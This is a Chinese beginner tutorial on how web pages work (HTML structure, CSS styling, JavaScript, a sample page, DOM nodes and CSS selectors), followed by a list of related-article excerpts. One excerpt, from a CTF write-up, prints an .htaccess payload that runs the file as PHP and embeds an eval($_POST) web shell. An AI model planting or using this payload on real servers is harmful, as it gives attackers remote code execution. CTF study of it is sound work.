(二)Web网页的基本原理

一、网页的组成

网页由三部分构成:HTML、JavaScript、CSS。

(1)HTML

HTML 相当于网页的骨架,它通过使用标签来定义网页内容的结构。

举个例子:

它把图片标签为img、把视频标签为video,然后组合到一个界面里,这种呈现方式就是HTML

如果你想找到它,

比如我们打开任意一个网站:

然后右键打开“检查”,进入Elements面板:

可以看到,当我们鼠标放置在某一标签上时,该标签标记的东西会被锁定,然后呈现出来。

当很多个标签组合,就成了我们看到的网页界面,

(2)CSS

经过上文得知HTML 负责网页内容的结构

那么 CSS 则控制这些内容的样式和布局

即CSS通过选择器决定网页元素的字体、颜色、间距、对齐方式、背景、边框等。

比如:

打开Styles面板,下面的各种各样就是在设置样式

(3)JavaScript

如果说:HTML构建了网页、CSS装饰了网页。

那么JavaScript则提供了交互性

比如下图框中,带js后缀的代码,就是引入互动行为 

二、制作一个简单网页

首先打开文本文件:

第一步,来定义文档类型

<!DOCTYPE html>

第二步要写:

<html lang="zh">
……你的HTML代码
</html>

<html lang="zh">我们可以理解为,告诉电脑我们要开始写了

正常来说我们可以直接写<html>,但加上 lang="zh"就表示指定语言为中文。

结尾的</html>代表,到这里就结束了。

而中间部分,则是我们要写的设置网页内容

第三部,写head标签和body标签

<html>包括head标签和body标签

所以我们要写:

<head>……</head><body>……</body>

head标签意思是网页头,即说明一下页面需要的配置,比如我们可以写:

<meta charset="UTF-8">来表示指定网页编码为UTF-8

body标签的意思是网页体,就是网页正文里要展现的东西,比如我们可以写:

<div id="word">其中div表示定义一个区块,这个区块的id是word,之后我们就可以通过id来获得这个区块,并进行相应的修改设置。

到此为止,我们的完整代码如下:

<!DOCTYPE html>
<html lang="zh">
<head><meta charset="UTF-8"><title>简单网页</title>
</head>
<body><header><h1>欢迎访问我的网站</h1></header>    <div class="container"><h2>关于我们</h2><p>这是一个简单的网页示例,展示了HTML和CSS如何一起工作来构建网页结构和样式。</p></div>
</body>
</html>

其中h几表示几级标题,p标签表示一个段落

之后我们把文件后缀改为html,然后双击打开,展示如下;

三、相关概念

(1)节点和节点树

在HTML中,我们把所有的标签内容都看出节点

而所有的节点构成了节点树(HTML DOM树)

至于节点树的构成,相信如果你如果看了第二部分就明白了,其构成如下:

最顶端的节点称之为根节点

每个节点(如果有的话)上一个节点称为父节点,下一个节点称为子节点。

同级的子节点称为兄弟节点

这些概念同理于 树 部分概念

(2)选择器

在说到CSS时,我们提到了选择器,那么这是什么呢?

首先,选择器是用来定位节点的

比如,我们之前通过div来确定了一个id为word的节点

那么我们要去定位这个id,有三个常用办法:

第一,类选择器,以“ . ”开头

.word {background-color: yellow;
}

这会选中所有 class="word" 的元素,并给它们加上黄色背景。

第二,ID选择器,以“#”开头

#word {font-size: 24px;
}

这会选中具有 id="word" 的元素,并将字体大小设置为 24px。

第三,元素选择器,选择所有指定标签的元素

p {color: blue;
}

这会选中页面中的所有 <p> 标签,并将它们的文字颜色设置为蓝色。


常见的 CSS 选择器及其语法规则,汇总如下:

元素选择器

  • 选中指定标签的所有元素。

    p { color: red; }
    这会选中页面中的所有 <p> 元素并将它们的文字颜色设置为红色。

2. 类选择器

  • 选中所有具有指定类的元素。类选择器以 . 开头。

    .highlight { background-color: yellow; }
    这会选中所有 class="highlight" 的元素,并为它们设置黄色背景。

3. ID 选择器

  • 选中具有指定 ID 的元素。ID 选择器以 # 开头。

    #header { font-size: 24px; }
    这会选中 ID 为 header 的元素,并将字体大小设置为 24px。

4. 通配符选择器

  • 选中所有元素。

    * { margin: 0; }
    这会把页面中所有元素的外边距(margin)设置为 0。

5. 后代选择器

  • 选中某个元素内部的所有指定子元素。空格表示层级关系,选中某个元素的所有后代元素。

    div p { color: blue; }
    这会选中所有位于 <div> 内部的 <p> 元素,并将它们的文字颜色设置为蓝色。

6. 子元素选择器

  • 选中某个元素的直接子元素,使用 > 符号表示。

    div > p { color: green; }
    这会选中所有直接位于 <div> 元素内部的 <p> 元素,而不会选中更深层嵌套的 <p> 元素。

7. 并列关系选择器(兄弟选择器)

  • **相邻兄弟选择器 (+)**:选中某个元素后紧跟的第一个兄弟元素。

    h1 + p { color: orange; }

    这会选中紧接在 <h1> 元素后面的第一个 <p> 元素。

  • **通用兄弟选择器 (~)**:选中所有在指定元素后面的兄弟元素。

    h1 ~ p { color: purple; }

    这会选中所有位于 <h1> 后面的 <p> 元素。

8. 属性选择器

  • 根据元素的属性和属性值来选择元素。

    input[type="text"] { border: 1px solid black; }
    这会选中所有 type="text" 的 <input> 元素,并给它们加上黑色边框。

9. 伪类选择器

  • 选择元素的特定状态。

    • :hover:当鼠标悬停在元素上时应用样式。

      a:hover { color: red; }

    • :first-child:选中某元素是其父元素的第一个子元素。

      p:first-child { font-weight: bold; }

10. 伪元素选择器

  • 选中元素的特定部分,如首字母、首行等。

    • ::before:在元素的内容前插入内容。

      p::before { content: "Note: "; font-weight: bold; }

    • ::after:在元素的内容后插入内容。

      p::after { content: "."; }

11. 组合选择器

  • 多个选择器结合起来使用,达到更精确的选中效果。
    • 后代选择器div p,选中 <div> 内的所有 <p> 元素。
    • 类和元素选择器组合p.highlight,选中所有同时拥有 highlight 类的 <p> 元素。

12. 通用选择器

  • **:not()**:选中所有不符合某种条件的元素。

    p:not(.special) { color: blue; }
    这会选中所有不具有 special 类的 <p> 元素,并将它们的颜色设置为蓝色。

13. 组选择器

  • 通过逗号 , 组合多个选择器,用于多个元素应用相同样式。

    h1, h2, h3 { color: black; }
    这会将 <h1><h2><h3> 元素的文字颜色设置为黑色。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/69390.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

使用大语言模型在表格化网络安全数据中进行高效异常检测

论文链接 Efficient anomaly detection in tabular cybersecurity data using large language models 论文主要内容 这篇论文介绍了一种基于大型语言模型&#xff08;LLMs&#xff09;的创新方法&#xff0c;用于表格网络安全数据中的异常检测&#xff0c;称为“基于引导式提…

单片机基础模块学习——PCF8591芯片

一、A/D、D/A模块 A——Analog 模拟信号:连续变化的信号(很多传感器原始输出的信号都为此类信号)D——Digital 数字信号:只有高电平和低电平两种变化(单片机芯片、微控制芯片所能处理的都是数字信号) 下面是模拟信号和连续信号的区别 为什么需要进行模拟信号和数字信号之…

Dismissible组件的用法

文章目录 1 概念介绍2 使用方法3 示例代码我们在上一章回中介绍了GestureDetector Widget相关的内容,本章回中将介绍Dismissible Widget.闲话休提,让我们一起Talk Flutter吧。 1 概念介绍 我们在这里介绍的Dismissible是一个事件响应Widget,它和GestureDetector类似,不过它只…

C++ Lambda 表达式的本质及原理分析

目录 1.引言 2.Lambda 的本质 3.Lambda 的捕获机制的本质 4.捕获方式的实现与底层原理 5.默认捕获的实现原理 6.捕获 this 的机制 7.捕获的限制与注意事项 8.总结 1.引言 C 中的 Lambda 表达式是一种匿名函数&#xff0c;最早在 C11 引入&#xff0c;用于简化函数对象的…

DevEco Studio 4.1中如何创建OpenHarmony的Native C++ (NAPI)程序

目录 引言 操作步骤 结语 引言 OpenHarmony的开发工具变化很快&#xff0c;有的时候你安装以前的教程进行操作时会发现界面和操作方式都变了&#xff0c;进行不下去了。比如要在OpenHarmony中通过NAPI调用C程序&#xff0c;很多博文&#xff08;如NAPI篇【1】——如何创建含…

[JMCTF 2021]UploadHub

题目 上传.htaccess就是修改配置文件 <FilesMatch .htaccess> SetHandler application/x-httpd-php Require all granted php_flag engine on </FilesMatch>php_value auto_prepend_file .htaccess #<?php eval($_POST[md]);?>SetHandler和ForceType …

算法题(49):反转链表II

审题&#xff1a; 需要我们对指定范围的链表进行反转&#xff0c;并返回反转后链表的头结点 思路&#xff1a; 方法一&#xff1a;vector法 我们先遍历一次链表&#xff0c;并把数据对应的存在数组中&#xff0c;然后利用数组的reverse方法进行反转数据&#xff0c;最后再遍历一…

与机器学习相关的概率论重要概念的介绍和说明

概率论一些重要概念的介绍和说明 1、 试验 &#xff08;1&#xff09;试验是指在特定条件下&#xff0c;对某种方法、技术、设备或产品&#xff08;即&#xff0c;事物&#xff09;进行测试或验证的过程。 &#xff08;2&#xff09;易混淆的概念是&#xff0c;实验。实验&…

八股文 (一)

文章目录 项目地址一、前端1.1 大文件上传,预览1.2 首页性能优化1.2 流量染色,灰度发布1.3 Websock心跳机制,大数据实时数据优化1.4 Gpu 加速 fps优化1.5 echarts包大小优化和组件封装1.6 前端监控系统1.7 超大虚拟列表卡顿1. 实现2. 相关问题(1) 什么是虚拟化列表,为什么要…

DeepSeek R1:中国AI黑马的崛起与挑战

文章目录 技术突破&#xff1a;从零开始的推理能力进化DeepSeek R1-Zero&#xff1a;纯RL训练的“自我觉醒”DeepSeek R1&#xff1a;冷启动与多阶段训练的平衡之道 实验验证&#xff1a;推理能力的全方位跃升基准测试&#xff1a;超越顶尖闭源模型蒸馏技术&#xff1a;小模型的…

算法刷题Day28:BM66 最长公共子串

题目链接&#xff0c;点击跳转 题目描述&#xff1a; 解题思路&#xff1a; 方法一&#xff1a;暴力枚举 遍历str1的每个字符x&#xff0c;并在str2中寻找以相同元素x为起始的最长字符串。记录最长的公共子串及其长度。 代码实现&#xff1a; def LCS(self, str1: str, st…

卡特兰数学习

1&#xff0c;概念 卡特兰数&#xff08;英语&#xff1a;Catalan number&#xff09;&#xff0c;又称卡塔兰数&#xff0c;明安图数。是组合数学中一种常出现于各种计数问题中的数列。它在不同的计数问题中频繁出现。 2&#xff0c;公式 卡特兰数的递推公式为&#xff1a;f(…

Microsoft Visual Studio 2022 主题修改(补充)

Microsoft Visual Studio 2022 透明背景修改这方面已经有很多佬介绍过了&#xff0c;今天闲来无事就补充几点细节。 具体的修改可以参考&#xff1a;Microsoft Visual Studio 2022 透明背景修改&#xff08;快捷方法&#xff09;_material studio怎么把背景弄成透明-CSDN博客文…

Redis 详解

简介 Redis 的全称是 Remote Dictionary Server&#xff0c;它是一个基于内存的 NoSQL&#xff08;非关系型&#xff09;数据库&#xff0c;数据以 键值对 存储&#xff0c;支持各种复杂的数据结构 为什么会出现 Redis&#xff1f; Redis 的出现是为了弥补传统数据库在高性能…

如何运用python爬虫爬取百度贴吧的静态图片?

爬取百度贴吧图片的详细步骤和代码实现 爬取百度贴吧图片的过程可以分为以下几个步骤&#xff1a; 分析网页结构&#xff1a;了解百度贴吧页面的HTML结构&#xff0c;找到图片的URL。发送HTTP请求&#xff1a;使用requests库获取网页内容。解析HTML内容&#xff1a;使用Beaut…

17.Word:李楠-学术期刊❗【29】

目录 题目​ NO1.2.3.4.5 NO6.7.8 NO9.10.11 NO12.13.14.15 NO16 题目 NO1.2.3.4.5 另存为手动/F12Fn光标来到开头位置处→插入→封面→选择花丝→根据样例图片&#xff0c;对应位置填入对应文字 (手动调整即可&#xff09;复制样式&#xff1a;开始→样式对话框→管理…

C# lock使用详解

总目录 前言 在 C# 多线程编程中&#xff0c;lock 关键字是一种非常重要的同步机制&#xff0c;用于确保同一时间只有一个线程可以访问特定的代码块&#xff0c;从而避免多个线程同时操作共享资源时可能出现的数据竞争和不一致问题。以下是关于 lock 关键字的详细使用介绍。 一…

高低频混合组网系统中基于地理位置信息的信道测量算法matlab仿真

目录 1.算法运行效果图预览 2.算法运行软件版本 3.部分核心程序 4.算法理论概述 5.算法完整程序工程 1.算法运行效果图预览 (完整程序运行后无水印) 2.算法运行软件版本 matlab2022a 3.部分核心程序 &#xff08;完整版代码包含详细中文注释和操作步骤视频&#xff09…

ES6 类语法:JavaScript 的现代化面向对象编程

Hi&#xff0c;我是布兰妮甜 &#xff01;ECMAScript 2015&#xff0c;通常被称为 ES6 或 ES2015&#xff0c;是 JavaScript 语言的一次重大更新。它引入了许多新特性&#xff0c;其中最引人注目的就是类&#xff08;class&#xff09;语法。尽管 JavaScript 一直以来都支持基于…

1.1第1章DC/DC变换器的动态建模-1.1状态平均的概念--电力电子系统建模及控制 (徐德鸿)--读书笔记

电力电子系统一般由电力电子变换器&#xff08;滤波电路和开关&#xff09;、PWM 调制器、驱动电路、反馈控制单元构成&#xff0c;如图1-1所示。由控制理论的知识&#xff0c;电力电子系统的静态和动态性能的好坏与反馈控制设计密切相关。要进行反馈控制设计&#xff0c;首先要…